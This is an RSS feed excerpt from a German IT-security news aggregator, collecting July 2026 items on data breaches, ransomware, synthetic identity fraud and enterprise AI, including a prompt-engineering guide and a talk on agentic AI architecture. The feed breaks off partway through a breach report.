<description><![CDATA[Google has introduced CodeMender, a new AI-powered code security agent designed to find, validate automatically, and patch vulnerabilities at machine speed, as organizations face a surge in AI-driven cyber threats targeting software supply chains. The launch marks a shift from traditional vulnera...]]></description>
<link>https://tsecurity.de/de/3689012/it-security-nachrichten/google-launches-codemender-ai-agent-to-find-validate-and-patch-vulnerabilities/</link>
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<pubDate>Thu, 23 Jul 2026 14:23:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google has introduced CodeMender, a new AI-powered code security agent designed to find, validate automatically, and patch vulnerabilities at machine speed, as organizations face a surge in AI-driven cyber threats targeting software supply chains. The launch marks a shift from traditional vulnerability scanning toward autonomous remediation, where security tools not only detect flaws but also […]</p>
<p>The post <a href="https://cybersecuritynews.com/google-launches-codemender-ai-agent/">Google Launches CodeMender AI Agent to Find, Validate, and Patch Vulnerabilities</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[How Synthetic Identity Fraud is Coming for Machine Identities]]></title>
<description><![CDATA[Most people understand identity theft as an attacker stealing a real person's sensitive information and impersonating them. Synthetic identity fraud is much harder to catch. Instead of stealing a real identity, the attacker manufactures a new one, frankensteining together several real data points...]]></description>
<link>https://tsecurity.de/de/3688997/it-security-nachrichten/how-synthetic-identity-fraud-is-coming-for-machine-identities/</link>
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<pubDate>Thu, 23 Jul 2026 14:15:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Most people understand identity theft as an attacker stealing a real person's sensitive information and impersonating them. Synthetic identity fraud is much harder to catch. Instead of stealing a real identity, the attacker manufactures a new one, frankensteining together several real data points with fabricated ones to create a person who doesn't exist. Since no real victim monitors misuse, a]]></content:encoded>
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<title><![CDATA[How Synthetic Identity Fraud is Coming for Machine Identities]]></title>
<description><![CDATA[Most people understand identity theft as an attacker stealing a real person’s sensitive information and impersonating them. Synthetic identity fraud is much harder to catch. Instead of stealing a real identity, the attacker manufactures a new one, frankensteining together several…
Read more →
The...]]></description>
<link>https://tsecurity.de/de/3688983/it-security-nachrichten/how-synthetic-identity-fraud-is-coming-for-machine-identities/</link>
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<pubDate>Thu, 23 Jul 2026 14:13:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Most people understand identity theft as an attacker stealing a real person’s sensitive information and impersonating them. Synthetic identity fraud is much harder to catch. Instead of stealing a real identity, the attacker manufactures a new one, frankensteining together several…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/how-synthetic-identity-fraud-is-coming-for-machine-identities/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/how-synthetic-identity-fraud-is-coming-for-machine-identities/">How Synthetic Identity Fraud is Coming for Machine Identities</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Nach Cyberangriff: Hacker erpressen Zugbauer Stadler um Millionenbetrag - Golem.de]]></title>
<description><![CDATA[Exklusiv: Ethical Hacking All-in-One: Vom Einstieg bis zu komplexen Angriffen. E-Learning: Exklusiv: Ethical Hacking All-in-One: Vom Einstieg bis ...]]></description>
<link>https://tsecurity.de/de/3688863/hacking/nach-cyberangriff-hacker-erpressen-zugbauer-stadler-um-millionenbetrag-golemde/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688863/hacking/nach-cyberangriff-hacker-erpressen-zugbauer-stadler-um-millionenbetrag-golemde/</guid>
<pubDate>Thu, 23 Jul 2026 13:34:01 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Exklusiv: Ethical <b>Hacking</b> All-in-One: Vom Einstieg bis zu komplexen Angriffen. E-Learning: Exklusiv: Ethical <b>Hacking</b> All-in-One: Vom Einstieg bis ...]]></content:encoded>
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<title><![CDATA[Months-long breach exposes South Korean diplomats’ personal data]]></title>
<description><![CDATA[South Korea’s Foreign Ministry has disclosed that attackers breached the Korea National Diplomatic Academy’s online education system, compromising personal data belonging to current and former ministry staff and diplomats stationed abroad. The Korea National Diplomatic Academy launched the online...]]></description>
<link>https://tsecurity.de/de/3688830/it-security-nachrichten/months-long-breach-exposes-south-korean-diplomats-personal-data/</link>
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<pubDate>Thu, 23 Jul 2026 13:15:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>South Korea’s Foreign Ministry has disclosed that attackers breached the Korea National Diplomatic Academy’s online education system, compromising personal data belonging to current and former ministry staff and diplomats stationed abroad. The Korea National Diplomatic Academy launched the online training platform in 2022 to support remote learning during the COVID-19 pandemic. Since then, it has been used to deliver job training and language courses for diplomatic personnel. According to the ministry, the intrusion started in … <a href="https://www.helpnetsecurity.com/2026/07/23/south-korea-diplomatic-academy-data-breach/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/23/south-korea-diplomatic-academy-data-breach/">Months-long breach exposes South Korean diplomats’ personal data</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[Stop asking AI nicely: Here’s how to get work-ready results every time]]></title>
<description><![CDATA[Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation fo...]]></description>
<link>https://tsecurity.de/de/3688796/it-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</link>
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<pubDate>Thu, 23 Jul 2026 13:07:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.</p>



<h2 class="wp-block-heading">Why advanced prompting still matters in enterprise settings</h2>



<p class="wp-block-paragraph">Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.</p>



<h3 class="wp-block-heading">1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning</h3>



<p class="wp-block-paragraph"><strong>The problem:</strong> Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.</p>



<p class="wp-block-paragraph"><strong>What I did:</strong> I started explicitly instructing the model to “think step by step” and show its reasoning.</p>



<p class="wp-block-paragraph"><strong>Before (basic prompt): </strong>“Analyze last quarter’s sales data and recommend three actions.”</p>



<p class="wp-block-paragraph"><strong>After (CoT prompt):</strong></p>



<p class="wp-block-paragraph">“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  </p>



<p class="wp-block-paragraph"><strong>Results:</strong> Accuracy and depth improved dramatically.</p>



<p class="wp-block-paragraph"><strong>Variants that worked well:</strong> Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.</p>



<p class="wp-block-paragraph"><strong>Template you can use:</strong></p>



<pre class="wp-block-code"><code>You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]</code></pre>



<h3 class="wp-block-heading">2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths</h3>



<p class="wp-block-paragraph">For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.</p>



<p class="wp-block-paragraph"><strong>Example:</strong> I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT</p>



<p class="wp-block-paragraph"><strong>Prompt Snippet:</strong></p>



<pre class="wp-block-code"><code>Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.</code></pre>



<p class="wp-block-paragraph"><strong>Outcome:</strong> The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).</p>



<p class="wp-block-paragraph"><strong>When to use:</strong> Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.</p>



<h3 class="wp-block-heading">3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior</h3>



<p class="wp-block-paragraph">One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.</p>



<p class="wp-block-paragraph"><strong>ReAct example</strong>: (used in data analytics workflow)</p>



<pre class="wp-block-code"><code>You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]</code></pre>



<p class="wp-block-paragraph">In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.</p>



<h3 class="wp-block-heading">4. Meta-prompting and self-reflection: Letting the model improve itself</h3>



<p class="wp-block-paragraph">Use the model to refine its own prompt. This is a huge time-saver.</p>



<pre class="wp-block-code"><code>You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.</code></pre>



<p class="wp-block-paragraph">Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.</p>



<h3 class="wp-block-heading">5. Multimodal and structured output techniques</h3>



<p class="wp-block-paragraph">With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).</p>



<p class="wp-block-paragraph"><strong>Tip from experience:</strong> Be extremely specific in describing what the models should focus on.</p>



<h4 class="wp-block-heading">Best practices I learned the hard way</h4>



<ul class="wp-block-list">
<li><strong>Start simple, then layer complexity</strong>: Over-engineered prompts from Day One usually backfire.</li>



<li><strong>Model specific tuning:</strong> Some models respond better to XML delimiters; others to explicit reasoning.</li>



<li><strong>Evaluation and versioning:</strong> Treat prompts like code if you track versions and run automated evals.</li>



<li><strong>Security guardrails:</strong> Always include instructions against prompt injections and respect data boundaries.</li>



<li><strong>When to stop prompting</strong>: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.</li>
</ul>



<h2 class="wp-block-heading">Final takeaways for technical leaders</h2>



<p class="wp-block-paragraph">Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.</p>



<p class="wp-block-paragraph">The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Chaos ransomware msaRAT hides its C2 channel inside a legitimate browser process]]></title>
<description><![CDATA[Cisco Talos has identified a Rust-based remote access trojan it attributes to the Chaos ransomware group, named msaRAT after four of the binding names left in the binary. The tool starts its own instance of Chrome or Edge on the victim machine and controls it through Chrome DevTools Protocol, a d...]]></description>
<link>https://tsecurity.de/de/3688780/it-security-nachrichten/chaos-ransomware-msarat-hides-its-c2-channel-inside-a-legitimate-browser-process/</link>
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<pubDate>Thu, 23 Jul 2026 13:02:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Cisco Talos has identified a Rust-based remote access trojan it attributes to the Chaos ransomware group, named msaRAT after four of the binding names left in the binary. The tool starts its own instance of Chrome or Edge on the victim machine and controls it through Chrome DevTools Protocol, a debugging interface built into both browsers. The browser then carries the command-and-control traffic over a WebRTC channel. Once installed, the RAT process keeps all of … <a href="https://www.helpnetsecurity.com/2026/07/23/cisco-talos-chaos-ransomware-msarat/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/23/cisco-talos-chaos-ransomware-msarat/">Chaos ransomware msaRAT hides its C2 channel inside a legitimate browser process</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[ANCHOR-CI could fix 20 years of broken government-industry collaboration]]></title>
<description><![CDATA[The government spent the past two decades learning what private sector partners have always known: cyber resilience requires everyone in the room. ANCHOR-CI is proof that the lessons may finally stick.
The post ANCHOR-CI could fix 20 years of broken government-industry collaboration appeared firs...]]></description>
<link>https://tsecurity.de/de/3688703/it-security-nachrichten/anchor-ci-could-fix-20-years-of-broken-government-industry-collaboration/</link>
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<pubDate>Thu, 23 Jul 2026 12:26:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The government spent the past two decades learning what private sector partners have always known: cyber resilience requires everyone in the room. ANCHOR-CI is proof that the lessons may finally stick.</p>
<p>The post <a href="https://cyberscoop.com/cisa-anchor-ci-critical-infrastructure-framework-op-ed/">ANCHOR-CI could fix 20 years of broken government-industry collaboration</a> appeared first on <a href="https://cyberscoop.com/">CyberScoop</a>.</p>]]></content:encoded>
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<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
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<pubDate>Thu, 23 Jul 2026 12:04:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
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<title><![CDATA[Hackers Lurked for 10 Months Inside South Korea Diplomatic System]]></title>
<description><![CDATA[The National Diplomatic Academy data breach has raised significant cybersecurity concerns in South Korea after the Ministry of Foreign Affairs confirmed that hackers maintained access to the academy's online education system for nearly 10 months. The cyberattack resulted in the exposure of person...]]></description>
<link>https://tsecurity.de/de/3688479/it-security-nachrichten/hackers-lurked-for-10-months-inside-south-korea-diplomatic-system/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688479/it-security-nachrichten/hackers-lurked-for-10-months-inside-south-korea-diplomatic-system/</guid>
<pubDate>Thu, 23 Jul 2026 11:13:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1221" height="766" src="https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="National Diplomatic Academy data breach" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach.webp 1221w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-300x188.webp 300w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-1024x642.webp 1024w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-768x482.webp 768w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-600x376.webp 600w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-150x94.webp 150w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-750x471.webp 750w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-1140x715.webp 1140w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach.webp 1221w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-300x188.webp 300w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-1024x642.webp 1024w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-768x482.webp 768w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-600x376.webp 600w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-150x94.webp 150w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-750x471.webp 750w, https://thecyberexpress.com/wp-content/uploads/National-Diplomatic-Academy-data-breach-1140x715.webp 1140w" sizes="(max-width: 1221px) 100vw, 1221px" title="Hackers Lurked for 10 Months Inside South Korea Diplomatic System 1"></p><span data-contrast="auto">The National Diplomatic Academy data breach has raised significant cybersecurity concerns in South Korea after the Ministry of Foreign Affairs confirmed that hackers maintained access to the academy's online education system for nearly 10 months. The cyberattack resulted in the exposure of personal information belonging to current and former ministry employees, including diplomats serving overseas.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">According to the Ministry of Foreign Affairs, the attackers exploited a <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29097">vulnerability</a> in the National Diplomatic Academy's online education platform in April 2025. The compromise remained active until February 2026, allowing unauthorized access to <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29098">data</a> linked to thousands of individuals before the incident was eventually discovered and contained.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">National Diplomatic Academy Data Breach Remained Active for Nearly 10 Months</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The National Diplomatic Academy data breach began in April 2025 after an unidentified <a href="https://thecyberexpress.com/irhythm-data-breach/" target="_blank" rel="noopener">threat actor</a> exploited a security flaw in the academy's <a href="https://thecyberexpress.com/india-online-safety-rules-tighten/" target="_blank" rel="noopener">online education system</a>. The platform, which was introduced in 2022 to support remote learning during the COVID-19 pandemic, has since been used for government employee training and video conferencing.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">According to the Ministry of Foreign Affairs, personal information was exposed between April 2025 and February 2026.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">In an <a href="https://www.mofa.go.kr/www/brd/m_4075/view.do?seq=369430" target="_blank" rel="nofollow noopener">official announcement</a>, the ministry stated:</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">There was an unidentified attack exploiting a <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29096">security</a> vulnerability targeting the Korea National Diplomatic Academy's online education system, and it has been confirmed that personal information of former and current employees of the Ministry of Foreign Affairs headquarters and overseas missions, as well as other personnel, was leaked from April 2025 to February 2026."</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">The ministry said the attack affected current and former employees at its headquarters, overseas missions, and other personnel connected to the <a href="https://thecyberexpress.com/india-online-safety-rules-tighten/" target="_blank" rel="noopener">online education system</a>.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Thousands Impacted in South Korea Foreign Ministry Data Breach</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The National Diplomatic Academy <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-a-data-breach/" target="_blank" rel="noopener" title="data breach" data-wpil-keyword-link="linked" data-wpil-monitor-id="29099">data breach</a> is estimated to have impacted at least 6,000 individuals, including approximately 350 government attachés currently stationed abroad. However, reports from <a href="https://www.donga.com/news/Politics/article/all/20260721/134332677/2" target="_blank" rel="nofollow noopener">Korean media</a> suggest the number of affected individuals could be as high as 10,000, while other reports indicate lower figures.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">In addition to personal information, local media reported that official job titles and departmental affiliations may also have been exposed during the incident.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>

<span data-contrast="auto">The Ministry of Foreign Affairs has not confirmed the higher estimates but acknowledged that the breach affected a substantial number of current and former personnel associated with the diplomatic service.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">What Information was Exposed?</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">According to the Ministry of Foreign Affairs, the information compromised during the National Diplomatic Academy data breach included:</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>
<ul>
 	<li><span data-contrast="auto">User IDs</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span></li>
 	<li><span data-contrast="auto">Names</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span></li>
 	<li><span data-contrast="auto">Email addresses</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span></li>
